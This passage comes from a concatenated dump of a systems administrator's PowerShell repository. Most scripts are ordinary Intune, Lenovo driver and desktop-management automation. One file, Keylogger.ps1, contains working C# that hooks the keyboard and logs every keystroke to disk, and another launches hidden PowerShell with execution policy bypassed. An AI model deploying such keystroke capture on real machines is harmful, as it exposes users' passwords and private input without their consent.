121 | 122 | private enum SECURITY_IMPERSONATION_LEVEL 123 | { 124 | SecurityAnonymous = 0, 125 | SecurityIdentification = 1, 126 | SecurityImpersonation = 2, 127 | SecurityDelegation = 3, 128 | } 129 | 130 | [StructLayout(LayoutKind.Sequential)] 131 | private struct STARTUPINFO 132 | { 133 | public int cb; 134 | public String lpReserved; 135 | public String lpDesktop; 136 | public String lpTitle; 137 | public uint dwX; 138 | public uint dwY; 139 | public uint dwXSize; 140 | public uint dwYSize; 141 | public uint dwXCountChars; 142 | public uint dwYCountChars; 143 | public uint dwFillAttribute; 144 | public uint dwFlags; 145 | public short wShowWindow; 146 | public short cbReserved2; 147 | public IntPtr lpReserved2; 148 | public IntPtr hStdInput; 149 | public IntPtr hStdOutput; 150 | public IntPtr hStdError; 151 | } 152 | 153 | private enum TOKEN_TYPE 154 | { 155 | TokenPrimary = 1, 156 | TokenImpersonation = 2 157 | } 158 | 159 | [StructLayout(LayoutKind.Sequential)] 160 | private struct WTS_SESSION_INFO 161 | { 162 | public readonly UInt32 SessionID; 163 | 164 | [MarshalAs(UnmanagedType.LPStr)] 165 | public readonly String pWinStationName; 166 | 167 | public readonly WTS_CONNECTSTATE_CLASS State; 168 | } 169 | 170 | #endregion 171 | 172 | // Gets the user token from the currently active session 173 | private static bool GetSessionUserToken(ref IntPtr phUserToken) 174 | { 175 | var bResult = false; 176 | var hImpersonationToken = IntPtr.Zero; 177 | var activeSessionId = INVALID_SESSION_ID; 178 | var pSessionInfo = IntPtr.Zero; 179 | var sessionCount = 0; 180 | 181 | // Get a handle to the user access token for the current active session. 182 | if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, ref pSessionInfo, ref sessionCount) != 0) 183 | { 184 | var arrayElementSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO)); 185 | var current = pSessionInfo; 186 | 187 | for (var i = 0; i < sessionCount; i++) 188 | { 189 | var si = (WTS_SESSION_INFO)Marshal.PtrToStructure((IntPtr)current, typeof(WTS_SESSION_INFO)); 190 | current += arrayElementSize; 191 | 192 | if (si.State == WTS_CONNECTSTATE_CLASS.WTSActive) 193 | { 194 | activeSessionId = si.SessionID; 195 | } 196 | } 197 | } 198 | 199 | // If enumerating did not work, fall back to the old method 200 | if (activeSessionId == INVALID_SESSION_ID) 201 | { 202 | activeSessionId = WTSGetActiveConsoleSessionId(); 203 | } 204 | 205 | if (WTSQueryUserToken(activeSessionId, ref hImpersonationToken) != 0) 206 | { 207 | // Convert the impersonation token to a primary token 208 | bResult = DuplicateTokenEx(hImpersonationToken, 0, IntPtr.Zero, 209 | (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, 210 | ref phUserToken); 211 | 212 | CloseHandle(hImpersonationToken); 213 | } 214 | 215 | return bResult; 216 | } 217 | 218 | public static bool StartProcessAsCurrentUser(string appPath, string cmdLine = null, string workDir = null, bool visible = true) 219 | { 220 | var hUserToken = IntPtr.Zero; 221 | var startInfo = new STARTUPINFO(); 222 | var procInfo = new PROCESS_INFORMATION(); 223 | var pEnv = IntPtr.Zero; 224 | int iResultOfCreateProcessAsUser; 225 | 226 | startInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO)); 227 | 228 | try 229 | { 230 | if (!GetSessionUserToken(ref hUserToken)) 231 | { 232 | throw new Exception("StartProcessAsCurrentUser: GetSessionUserToken failed."); 233 | } 234 | 235 | uint dwCreationFlags = CREATE_UNICODE_ENVIRONMENT | (uint)(visible ? CREATE_NEW_CONSOLE : CREATE_NO_WINDOW); 236 | startInfo.wShowWindow = (short)(visible ? SW.SW_SHOW : SW.SW_HIDE); 237 | startInfo.lpDesktop = "winsta0\\default"; 238 | 239 | if (!CreateEnvironmentBlock(ref pEnv, hUserToken, false)) 240 | { 241 | throw new Exception("StartProcessAsCurrentUser: CreateEnvironmentBlock failed."); 242 | } 243 | 244 | if (!CreateProcessAsUser(hUserToken, 245 | appPath, // Application Name 246 | cmdLine, // Command Line 247 | IntPtr.Zero, 248 | IntPtr.Zero, 249 | false, 250 | dwCreationFlags, 251 | pEnv, 252 | workDir, // Working directory 253 | ref startInfo, 254 | out procInfo)) 255 | { 256 | iResultOfCreateProcessAsUser = Marshal.GetLastWin32Error(); 257 | throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed. Error Code -" + iResultOfCreateProcessAsUser); 258 | } 259 | 260 | iResultOfCreateProcessAsUser = Marshal.GetLastWin32Error(); 261 | } 262 | finally 263 | { 264 | CloseHandle(hUserToken); 265 | if (pEnv != IntPtr.Zero) 266 | { 267 | DestroyEnvironmentBlock(pEnv); 268 | } 269 | CloseHandle(procInfo.hThread); 270 | CloseHandle(procInfo.hProcess); 271 | } 272 | 273 | return true; 274 | } 275 | 276 | } 277 | } 278 | 279 | 280 | "@ 281 | 282 | # Load the custom type 283 | Add-Type -ReferencedAssemblies 'System', 'System.Runtime.InteropServices' -TypeDefinition $Source -Language CSharp -ErrorAction Stop 284 | 285 | # Run PS as user to display the message box 286 | [Runasuser.ProcessExtensions]::StartProcessAsCurrentUser("$env:windir\System32\WindowsPowerShell\v1.0\Powershell.exe"," -ExecutionPolicy Bypass -WindowStyle Hidden -File $PSScriptRoot\$File") -------------------------------------------------------------------------------- /Invoke-RemindUsersToUpdateiOS.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Remind users to update their iOS devices per e-mail and custom notification, if their devices is found to be running an iOS version less than the baseline 4 | 5 | .DESCRIPTION 6 | The script looks up a baseline iOS version based on a known userPrincipalName. 7 | The idea here is, that among the defined user's devices, the highest iOS version are considered the baseline iOS version for the environment 8 | If any other iOS device in the environment is not running the baseline version, each device and it's enrolled user, will receive an email and/or a custom notification in the Company Portal, reminding the user to update iOS. 9 | 10 | This is primary aimed at iOS devices enrolled as BYOD devices with the company portal 11 | 12 | .NOTES 13 | Filename: Invoke-RemindUsersToUpdateiOS.ps1 14 | Version: 1.1 15 | Author: Martin Bengtsson 16 | Blog: www.imab.dk 17 | Twitter: @mwbengtsson 18 | 19 | Version history: 20 | 21 | 1.0 - Script created 22 | 1.1 - Added check for lastSyncDate making sure to only grab devices which have been syncing lately (within 2 days) 23 | 1.1 - Added $testMode for quickly turning testmode on and off 24 | 25 | .LINKS 26 | https://www.imab.dk/automatically-remind-users-to-update-ios-with-e-mails-and-custom-notifications-using-microsoft-intune-powershell-sdk 27 | #> 28 | 29 | # Intune Admin account credentials details 30 | $intunePSAdmUPN = Get-AutomationVariable -Name "IntunePSAdmUPN" 31 | $intunePSAdmPW = Get-AutomationVariable -Name "IntunePSAdmPW" 32 | $intunePSAdmSPW = ConvertTo-SecureString -String $intunePSAdmPW -AsPlainText -Force 33 | $intuneCredentials = New-Object System.Management.Automation.PSCredential ($intunePSAdmUPN, $intunePSAdmSPW) 34 | 35 | # Email account credentials details 36 | $hlpUPN = Get-AutomationVariable -Name "hlpUPN" 37 | $hlpPW = Get-AutomationVariable -Name "hlpPW" 38 | $hlpSPW = ConvertTo-SecureString -String $hlpPW -AsPlainText -Force 39 | $hlpCredentials = New-Object System.Management.Automation.PSCredential ($hlpUPN, $hlpSPW) 40 | 41 | # Office 365 and email variables 42 | $emailSmtp = "smtp.office365.com" 43 | $emailPort = "587" 44 | $emailFrom = "hlp@YourDomain.com" 45 | $emailSubject = "Helpdesk kindly reminds you.." 46 | 47 | # Getting device(s) referenced as the baseline iOS version. This version is considered the minimum in the environment 48 | # Looking up a devices based on specific baseline UPN 49 | $baselineUserUPN = "UPN@YourDomain.com" 50 | $testUPN = "mab@imab.dk" 51 | 52 | # Enable or disable sending either email and custom notification. Set either to $false to disable the option 53 | $sendCustomNotification = $false 54 | $sendEmail = $false 55 | 56 | # Enable or disable testMode. Set to $true to enable testmode overriding baseline iOS version and to restrict the devices found to a testUPN 57 | $testMode = $true 58 | 59 | # Connect to Microsoft Graph using intuneCredentials 60 | if (Get-Module -Name Microsoft.Graph.Intune -ListAvailable) { 61 | try { 62 | Write-Verbose -Verbose -Message "Connecting to Microsoft.Graph.Intune using $intunePSAdmUPN" 63 | Connect-MSGraph -PSCredential $intuneCredentials 64 | } 65 | catch { 66 | Write-Verbose -Verbose -Message "Failed to connect to MSGraph. Please check if credentials and permissions are correct. Breaking script" 67 | break 68 | } 69 | } 70 | elseif (-NOT(Get-Module -Name Microsoft.Graph.Intune -ListAvailable)) { 71 | Write-Verbose -Verbose -Message "The Microsoft.Graph.Intune module is not available. Breaking script" 72 | break 73 | } 74 | 75 | # Getting all iOS devices for the specific baseline UPN 76 | try { 77 | Write-Verbose -Verbose -Message "Getting all iOS devices belonging to the baseline UPN: $baselineUserUPN" 78 | $baselineVersion = Get-IntuneManagedDevice -Filter "contains(operatingSystem,'iOS')" | Where-Object {$_.userPrincipalName -eq $baselineUserUPN} | Select-Object deviceName,id,osVersion,model,emailAddress 79 | } 80 | catch { 81 | Write-Verbose -Verbose -Message "Failed to retrieve iOS devices for the selected UPN. Script is breaking" 82 | Write-Verbose -Verbose -Message "make sure that the account running the script has permissions to view content in Intune" 83 | break 84 | } 85 | 86 | # If baselineVersion returns multiple results, select the highest version number 87 | if ($baselineVersion.GetType().IsArray) { 88 | 89 | Write-Verbose -Verbose -Message "BaselineVersion for iOS retrieved. Multiple devices found. Here's some details about them..." 90 | Write-Verbose -Verbose -Message "**********************************************************" 91 | foreach ($baseline in $baselineVersion) { 92 | Write-Verbose -Verbose -Message "deviceName: $($baseline.deviceName)" 93 | Write-Verbose -Verbose -Message "id: $($baseline.id)" 94 | Write-Verbose -Verbose -Message "osVersion: $($baseline.osVersion)" 95 | Write-Verbose -Verbose -Message "model: $($baseline.model)" 96 | Write-Verbose -Verbose -Message "emailAddress: $($baseline.emailAddress)" 97 | Write-Verbose -Verbose -Message "**********************************************************" 98 | } 99 | Write-Verbose -Verbose -Message "Getting baseline iOS version returned more than 1 result. Getting the highest value" 100 | $baselineVersion = $baselineVersion | Sort-Object -Property osVersion -Descending | Select-Object -First 1 101 | Write-Verbose -Verbose -Message "Baseline version is $($baselineVersion.osVersion)" 102 | $baselineVersion = $baselineVersion.osVersion 103 | 104 | } 105 | else { 106 | 107 | Write-Verbose -Verbose -Message "BaselineVersion for iOS retrieved. Here's some info about the device..." 108 | Write-Verbose -Verbose -Message "**********************************************************" 109 | Write-Verbose -Verbose -Message "deviceName: $($baselineVersion.deviceName)" 110 | Write-Verbose -Verbose -Message "id: $($baselineVersion.id)" 111 | Write-Verbose -Verbose -Message "osVersion: $($baselineVersion.osVersion)" 112 | Write-Verbose -Verbose -Message "model: $($baselineVersion.model)" 113 | Write-Verbose -Verbose -Message "emailAddress: $($baselineVersion.emailAddress)" 114 | Write-Verbose -Verbose -Message "**********************************************************" 115 | Write-Verbose -Verbose -Message "Baseline version is $($baselineVersion.osVersion)" 116 | $baselineVersion = $baselineVersion.osVersion 117 | } 118 | 119 | # Override devices and baselineversion for testing purposes 120 | if ($testMode -eq $true) { 121 | 122 | Write-Verbose -Verbose -Message "Testing! testMode equals $testMode. Overriding baseline version and iOS devices found for testing purposes" 123 | 124 | # Override baseline version for testing purposes 125 | $baselineVersion = "13.4" 126 | 127 | try { 128 | $iOSDevices = Get-IntuneManagedDevice -Filter "contains(operatingSystem,'iOS')" | Where-Object {$_.userPrincipalName -eq $testUPN} | Select-Object deviceName,id,osVersion,emailAddress,model,lastSyncDateTime 129 | } 130 | catch { 131 | Write-Verbose -Verbose -Message "Failed to retrieve iOS devices for testMode. Script is breaking" 132 | break 133 | } 134 | } 135 | else { 136 | 137 | # Getting all iOS devices from Intune 138 | try { 139 | Write-Verbose -Verbose -Message "Now getting ALL iOS devices in the tenant" 140 | $iOSdevices = Get-IntuneManagedDevice -Filter "contains(operatingSystem,'iOS')" | Select-Object deviceName,id,osVersion,emailAddress,lastSyncDateTime,model 141 | } 142 | catch { 143 | Write-Verbose -Verbose -Message "Failed to retrieve all iOS devices. Script is breaking" 144 | break 145 | } 146 | } 147 | 148 | # Intune custom notification content 149 | $JSON = @" 150 | { 151 | "notificationTitle": "Helpdesk kindly reminds you..", 152 | "notificationBody": "Please make sure to keep iOS up to date!\n\nYou are receiving this notification because your device needs to be updated.\n\nPlease head into settings and update your iPhone/iPad as soon as possible.\n\nIf your device is not updated, access to corporate resources (e-mail, calendar, OneDrive etc.) will be blocked.\n\n** Please update iOS to version: $baselineVersion **\n\nRegards Helpdesk, www.imab.dk" 153 | } 154 | "@ 155 | 156 | # Loop through each iOS device 157 | foreach ($device in $iOSDevices) { 158 | 159 | Write-Verbose -Verbose -Message "Looping through each iOS device found..." 160 | 161 | $deviceName = $device.devicename 162 | $id = $device.id 163 | $osVersion = $device.osVersion 164 | $email = $device.emailAddress 165 | $deviceModel = $device.model 166 | $lastSyncDate = $device.lastSyncDateTime 167 | 168 | # Formatting date and counting days since last sync with Intune 169 | $localCulture = Get-Culture 170 | $regionDateFormat = [System.Globalization.CultureInfo]::GetCultureInfo($LocalCulture.LCID).DateTimeFormat.LongDatePattern 171 | $lastSyncDate = Get-Date $lastSyncDate -f $regionDateFormat 172 | $Today = Get-Date -f $regionDateFormat 173 | $dateDiff = New-TimeSpan -Start $lastSyncDate -End $Today 174 | 175 | if ($dateDiff.Days -ge 0 –AND $dateDiff.Days –lt 2) { 176 | 177 | Write-Verbose -Verbose -Message "iOS device found: $deviceName belonging to: $email which have been syncing lately on: $lastSyncDate" 178 | 179 | # If the device is running an iOS version less than the baseline 180 | if ($osVersion -lt $baselineVersion) { 181 | 182 | Write-Verbose -Verbose -Message "iOS device found: $deviceName belonging to $email which is running iOS version: $osVersion which is less than the baseline version: $baselineVersion" 183 | 184 | # Create the unique URL for each managed device 185 | $uri = "https://graph.microsoft.com/beta/deviceManagement/managedDevices/$id/sendCustomNotificationToCompanyPortal" 186 | 187 | # Create initial body area including stylesheet 188 | $emailBody = " 189 | 190 | 191 | 210 | 211 |

Attention: Your iPhone or iPad needs an update!

212 | 213 | Please make sure to keep iOS up to date!

214 | You are receiving this e-mail because your device needs to be updated.
215 | On your iPhone or iPad, please head into settings and apply the latest update as soon as possible.
216 | If your device is not updated, access to corporate resources (e-mail, calendar, OneDrive etc.) will be blocked.

217 | Current Device Name: $deviceName
218 | Current Device Model: $deviceModel
219 | Current iOS Version: $osVersion

220 | ** Please update iOS to version: $baselineVersion **

221 | Best regards,
www.imab.dk
222 | 223 | 224 | " 225 | 226 | if ($sendCustomNotification -eq $true) { 227 | 228 | # Try to send a custom notification to each device 229 | try { 230 | Write-Verbose -Verbose -Message "sendCustomnotification equals $sendCustomNotification. Trying to send custom notification to $deviceName" 231 | Invoke-MSGraphRequest -HttpMethod POST -Url $uri -Content $JSON 232 | } 233 | catch { 234 | Write-Verbose -Verbose -Message "Failed to send custom notification to $deviceName" 235 | } 236 | } 237 | elseif ($sendCustomNotification -eq $false) { 238 | Write-Verbose -Verbose -Message "sendCustomnotification equals $sendCustomNotification. Not sending any custom notification to $deviceName" 239 | } 240 | else { 241 | Write-Verbose -Verbose -Message "Something seems broken. sendCustomnotification equals $sendCustomNotification. Not sending any custom notification to $deviceName" 242 | } 243 | 244 | if ($sendEmail -eq $true) { 245 | 246 | # Try to send an email to each user 247 | try { 248 | Write-Verbose -Verbose -Message "SendEmail equals $sendEmail. Trying to send an e-mail to $email" 249 | Send-MailMessage -To $email -From $emailFrom -Subject $emailSubject -Body $emailBody -Credential $hlpCredentials -SmtpServer $emailSmtp -Port $emailPort -UseSsl -BodyAsHtml 250 | } 251 | catch { 252 | Write-Verbose -Verbose -Message "Failed to send email to $email" 253 | } 254 | } 255 | elseif ($sendEmail -eq $false) { 256 | Write-Verbose -Verbose -Message "sendEmail equals $sendEmail. Not sending any e-mail to $email" 257 | } 258 | else { 259 | Write-Verbose -Verbose -Message "Something seems broken. sendEmail equals $sendEmail. Not sending any e-mail to $email" 260 | } 261 | } 262 | } 263 | } -------------------------------------------------------------------------------- /Keylogger.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.IO; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | using System.Windows.Forms; 7 | 8 | namespace KeyLogger { 9 | public static class Program { 10 | private const int WH_KEYBOARD_LL = 13; 11 | private const int WM_KEYDOWN = 0x0100; 12 | 13 | private const string logFileName = "c:\tilpas\temp\keylog.log"; 14 | private static StreamWriter logFile; 15 | 16 | private static HookProc hookProc = HookCallback; 17 | private static IntPtr hookId = IntPtr.Zero; 18 | 19 | public static void Main() { 20 | logFile = File.AppendText(logFileName); 21 | logFile.AutoFlush = true; 22 | 23 | hookId = SetHook(hookProc); 24 | Application.Run(); 25 | UnhookWindowsHookEx(hookId); 26 | } 27 | 28 | private static IntPtr SetHook(HookProc hookProc) { 29 | IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName); 30 | return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0); 31 | } 32 | 33 | private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); 34 | 35 | private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { 36 | if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { 37 | int vkCode = Marshal.ReadInt32(lParam); 38 | logFile.WriteLine((Keys)vkCode); 39 | } 40 | 41 | return CallNextHookEx(hookId, nCode, wParam, lParam); 42 | } 43 | 44 | [DllImport("user32.dll")] 45 | private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); 46 | 47 | [DllImport("user32.dll")] 48 | private static extern bool UnhookWindowsHookEx(IntPtr hhk); 49 | 50 | [DllImport("user32.dll")] 51 | private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 52 | 53 | [DllImport("kernel32.dll")] 54 | private static extern IntPtr GetModuleHandle(string lpModuleName); 55 | } 56 | } 57 | "@ -ReferencedAssemblies System.Windows.Forms 58 | 59 | [KeyLogger.Program]::Main(); -------------------------------------------------------------------------------- /Mount-DriversWIM.ps1: -------------------------------------------------------------------------------- 1 | try { 2 | # Company Name. This is a part of the paths which are referenced in the precaching task sequence. 3 | $companyName = "KromannReumert" 4 | # Windows version. This is a part of the paths which are referenced in the precaching task sequence. 5 | $waasVersion = "v2004" 6 | # The content path for this In-Place Upgrade 7 | $ipuContentPath = "$env:ProgramData\$companyName\IPUContent\$waasVersion" 8 | # The path where the drivers (WIM file) are precached to by the task sequence 9 | $driversContentPath = "$env:ProgramData\$companyName\IPUContent\$waasVersion\Drivers" 10 | # Get the computer version/model. This is used to grab the correct WIM file dynamically. 11 | # This requires, that the WIM file is named accordingly 12 | # The output of this on a Lenovo ThinkPad T480s is 'ThinkPad T480s', why the WIM file is also named 'ThinkPad T480s.wim' 13 | $computerModel = (Get-CimInstance Win32_ComputerSystemProduct).Version 14 | if (-NOT[string]::IsNullOrEmpty($computerModel)) { 15 | $compuderModel = (Get-CimInstance -Class Win32_ComputerSystem).Model 16 | } 17 | # Find the WIM file containing the drivers. This is where the computer model needs to match the precached WIM file 18 | $findDrivers = (Get-ChildItem -Path $driversContentPath -Recurse | Where-Object {$_.FullName -match $computerModel}).FullName 19 | # Mount drivers if a matching WIM file was found 20 | if (-NOT[string]::IsNullOrEmpty($findDrivers)) { 21 | if (-NOT(Test-Path -Path $ipuContentPath\MountDrivers)) { New-Item -Path $ipuContentPath -Name MountDrivers -ItemType Directory } 22 | dism.exe /mount-wim /wimfile:$findDrivers /index:1 /mountdir:$ipuContentPath\MountDrivers 23 | } 24 | } 25 | catch { 26 | Write-Verbose -Verbose -Message "Failed to mount WIM containing drivers" 27 | exit 1 28 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerShell 2 | All my PowerShell scripts which I'm referencing in the various posts on https://imab.dk 3 | -------------------------------------------------------------------------------- /Remediate-LenovoVantageVulnerabilities.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Remediates the Lenovo Vantage vulnerabilities explained here: https://support.lenovo.com/cy/en/product_security/len-75210 4 | 5 | 6 | .DESCRIPTION 7 | Remediates the Lenovo Vantage vulnerabilities explained here: https://support.lenovo.com/cy/en/product_security/len-75210 8 | 9 | .NOTES 10 | Filename: Remediate-LenovoVantageVulnerabilities.ps1 11 | Version: 1.0 12 | Author: Martin Bengtsson 13 | Blog: www.imab.dk 14 | Twitter: @mwbengtsson 15 | 16 | .LINK 17 | 18 | #> 19 | 20 | $imCOntrollerServiceName = "ImControllerService" 21 | $imCOntrollerService = Get-Service -Name $imCOntrollerServiceName -ErrorAction SilentlyContinue 22 | if (-NOT[string]::IsNullOrEmpty($imCOntrollerService)) { 23 | try { 24 | Restart-Service -Name $imCOntrollerServiceName 25 | Write-Output "[ALL GOOD]. Service: $imCOntrollerServiceName restarted. Vulnerability expected to be mitigated" 26 | exit 0 27 | } 28 | catch { 29 | Write-Output "[NOT GOOD] Failed to restart service: $imCOntrollerServiceName" 30 | exit 1 31 | } 32 | } -------------------------------------------------------------------------------- /Remediation-DeleteShortcuts.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Detect and remove desktop shortcuts using Proactive Remediations in Microft Endpoint Manager. 4 | 5 | .DESCRIPTION 6 | Detect and remove desktop shortcuts using Proactive Remediations in Microft Endpoint Manager. 7 | Shortcuts on All Users desktop (public desktop) or the current user's desktop can be detected and removed. 8 | 9 | .NOTES 10 | Filename: Remediation-DeleteShortcuts.ps1 11 | Version: 1.0 12 | Author: Martin Bengtsson 13 | Blog: www.imab.dk 14 | Twitter: @mwbengtsson 15 | 16 | .LINK 17 | https://imab.dk/remove-desktop-shortcuts-for-the-current-user-and-public-profile-using-powershell-and-proactive-remediations 18 | #> 19 | 20 | #region Functions 21 | #Getting the current user's username by querying the explorer.exe process 22 | function Get-CurrentUser() { 23 | try { 24 | $currentUser = (Get-Process -IncludeUserName -Name explorer | Select-Object -First 1 | Select-Object -ExpandProperty UserName).Split("\")[1] 25 | } 26 | catch { 27 | Write-Output "Failed to get current user." 28 | } 29 | if (-NOT[string]::IsNullOrEmpty($currentUser)) { 30 | Write-Output $currentUser 31 | } 32 | } 33 | #Getting the current user's SID by using the user's username 34 | function Get-UserSID([string]$fCurrentUser) { 35 | try { 36 | $user = New-Object System.Security.Principal.NTAccount($fcurrentUser) 37 | $sid = $user.Translate([System.Security.Principal.SecurityIdentifier]) 38 | } 39 | catch { 40 | Write-Output "Failed to get current user SID." 41 | } 42 | if (-NOT[string]::IsNullOrEmpty($sid)) { 43 | Write-Output $sid.Value 44 | } 45 | } 46 | #Getting the current user's desktop path by querying registry with the user's SID 47 | function Get-CurrentUserDesktop([string]$fUserRegistryPath) { 48 | try { 49 | if (Test-Path -Path $fUserRegistryPath) { 50 | $currentUserDesktop = (Get-ItemProperty -Path $fUserRegistryPath -Name Desktop -ErrorAction Ignore).Desktop 51 | } 52 | } 53 | catch { 54 | Write-Output "Failed to get current user's desktop" 55 | } 56 | if (-NOT[string]::IsNullOrEmpty($currentUserDesktop)) { 57 | Write-Output $currentUserDesktop 58 | } 59 | } 60 | #endregion 61 | #region Execution 62 | try { 63 | #Edit here with names of the shortcuts you want removed 64 | $shortCutNames = @( 65 | "*Google Chrome*" 66 | "*compareDocs*" 67 | "*pdfDocs*" 68 | "*Microsoft Edge*" 69 | "*Microsoft Teams*" 70 | ) 71 | #Create empty array for shortcutsFound 72 | $shortcutsFound = @() 73 | #Retrieving current user and current user's SID 74 | $currentUser = Get-CurrentUser 75 | $currentUserSID = Get-UserSID $currentUser 76 | # Getting the AllUsers desktop path 77 | $allUsersDesktop = [Environment]::GetFolderPath("CommonDesktopDirectory") 78 | $userRegistryPath = "Registry::HKEY_USERS\$($currentUserSID)\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" 79 | $currentUserDesktop = Get-CurrentUserDesktop $userRegistryPath 80 | 81 | if (Test-Path -Path $allUsersDesktop) { 82 | foreach ($ShortcutName in $shortCutNames) { 83 | $shortCutsFound += Get-ChildItem -Path $allUsersDesktop -Filter *.lnk | Where-Object {$_.Name -like $shortCutName} 84 | } 85 | } 86 | if (Test-Path -Path $currentUserDesktop) { 87 | foreach ($ShortcutName in $shortCutNames) { 88 | $shortCutsFound += Get-ChildItem -Path $currentUserDesktop -Filter *.lnk | Where-Object {$_.Name -like $shortCutName} 89 | } 90 | } 91 | if (-NOT[string]::IsNullOrEmpty($shortcutsFound)) { 92 | Write-Output "Desktop shortcuts found. Returning True" 93 | $shortcutsFoundStatus = $true 94 | 95 | } 96 | elseif ([string]::IsNullOrEmpty($shortcutsFound)) { 97 | Write-Output "Desktop shortcuts NOT found. Returning False" 98 | $shortcutsFoundStatus = $false 99 | } 100 | } 101 | catch { 102 | Write-Output "Something went wrong during running of the script. Variable values are: $currentUser,$currentUserSID,$allUsersDesktop,$currentUserDesktop" 103 | } 104 | 105 | finally { 106 | if ($shortcutsFoundStatus -eq $true) { 107 | Write-Output "shortcutsFoundStatus equals True. Removing shortcuts..." 108 | foreach ($shortcut in $shortcutsFound) { 109 | try { 110 | Remove-Item -Path $shortcut.FullName 111 | } 112 | catch { 113 | Write-Output "Failed to remove shortcut: $($shortcut.Name)" 114 | } 115 | } 116 | } 117 | elseif ($shortcutsFoundStatus -eq $false) { 118 | Write-Output "shortcutsFoundStatus equals False. Doing nothing" 119 | } 120 | } 121 | #endregion -------------------------------------------------------------------------------- /Run-LSUClientModule-OSD.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Load and run the LSUClient PowerShell module. Used for installing Lenovo BIOS and Drivers during OSD with Configuration Manager 4 | 5 | .DESCRIPTION 6 | Same as above 7 | 8 | .NOTES 9 | Filename: Run-LSUClientModule-OSD.ps1 10 | Version: 1.0 11 | Author: Martin Bengtsson 12 | Blog: www.imab.dk 13 | Twitter: @mwbengtsson 14 | 15 | .LINK 16 | https://www.imab.dk/install-lenovo-drivers-and-bios-directly-from-lenovos-driver-catalog-during-osd-using-configuration-manager/ 17 | 18 | #> 19 | 20 | $companyName = "imab.dk" 21 | $global:regKey = "HKLM:\SOFTWARE\$companyName\OSDDrivers" 22 | function Get-LenovoComputerModel() { 23 | $lenovoVendor = (Get-CimInstance -ClassName Win32_ComputerSystemProduct).Vendor 24 | if ($lenovoVendor = "LENOVO") { 25 | Write-Verbose -Verbose "Lenovo device is detected. Continuing." 26 | $global:lenovoModel = (Get-CimInstance -ClassName Win32_ComputerSystemProduct).Version 27 | $modelRegEx = [regex]::Match((Get-CimInstance -ClassName CIM_ComputerSystem -ErrorAction SilentlyContinue -Verbose:$false).Model, '^\w{4}') 28 | if ($modelRegEx.Success -eq $true) { 29 | $global:lenovoModelNumber = $modelRegEx.Value 30 | Write-Verbose -Verbose "Lenovo modelnumber: $global:lenovoModelNumber - Lenovo model: $global:lenovoModel" 31 | } else { 32 | Write-Verbose -Verbose "Failed to retrieve computermodel" 33 | } 34 | } else { 35 | Write-Verbose -Verbose "Not a Lenovo device. Aborting." 36 | exit 1 37 | } 38 | } 39 | function Load-LSUClientModule() { 40 | if (-NOT(Get-Module -Name LSUClient)) { 41 | Write-Verbose -Verbose "LSUClient module not loaded. Continuing." 42 | if (Get-Module -Name LSUClient -ListAvailable) { 43 | Write-Verbose -Verbose "LSUClient module found available. Try importing and loading it." 44 | try { 45 | Import-Module -Name LSUClient 46 | Write-Verbose -Verbose "Successfully imported and loaded the LSUClient module." 47 | } catch { 48 | Write-Verbose -Verbose "Failed to import the LSUClient module. Aborting." 49 | exit 1 50 | } 51 | } 52 | } else { 53 | Write-Verbose -Verbose "LSUClient module already imported and loaded." 54 | } 55 | } 56 | #Function for locating and installing all drivers and BIOS which can be installed silent and unattended 57 | function Run-LSUClientModuleDefault() { 58 | $regKey = $global:regKey 59 | if (-NOT(Test-Path -Path $regKey)) { New-Item -Path $regKey -Force | Out-Null } 60 | $updates = Get-LSUpdate | Where-Object { $_.Installer.Unattended } 61 | foreach ($update in $updates) { 62 | Install-LSUpdate $update -Verbose 63 | New-ItemProperty -Path $regKey -Name $update.ID -Value $update.Title -Force | Out-Null 64 | } 65 | } 66 | #Exclude Intel Graphics Driver 67 | #Some weird shit going on with the package here on certain models, making the script run forever, thus exlcuding the driver 68 | function Run-LSUClientModuleCustom() { 69 | $regKey = $global:regKey 70 | if (-NOT(Test-Path -Path $regKey)) { New-Item -Path $regKey -Force | Out-Null } 71 | $updates = Get-LSUpdate | Where-Object { $_.Installer.Unattended -AND $_.Title -notlike "Intel HD Graphics Driver*"} 72 | foreach ($update in $updates) { 73 | Install-LSUpdate $update -Verbose 74 | New-ItemProperty -Path $regKey -Name $update.ID -Value $update.Title -Force | Out-Null 75 | } 76 | } 77 | try { 78 | Write-Verbose -Verbose "Script is running." 79 | Get-LenovoComputerModel 80 | Load-LSUClientModule 81 | if ($global:lenovoModelNumber -eq "20QF") { 82 | Write-Verbose -Verbose "Running LSUClient with custom function" 83 | Run-LSUClientModuleCustom 84 | } else { 85 | Write-Verbose -Verbose "Running LSUClient with default function" 86 | Run-LSUClientModuleDefault 87 | } 88 | } 89 | catch [Exception] { 90 | Write-Verbose -Verbose "Script failed to carry out one or more actions." 91 | Write-Verbose -Verbose $_.Exception.Message 92 | exit 1 93 | } 94 | finally { 95 | $currentDate = Get-Date -Format g 96 | if (-NOT(Test-Path -Path $regKey)) { New-Item -Path $regKey -Force | Out-Null } 97 | New-ItemProperty -Path $regKey -Name "_RunDateTime" -Value $currentDate -Force | Out-Null 98 | New-ItemProperty -Path $regKey -Name "_LenovoModelNumber" -Value 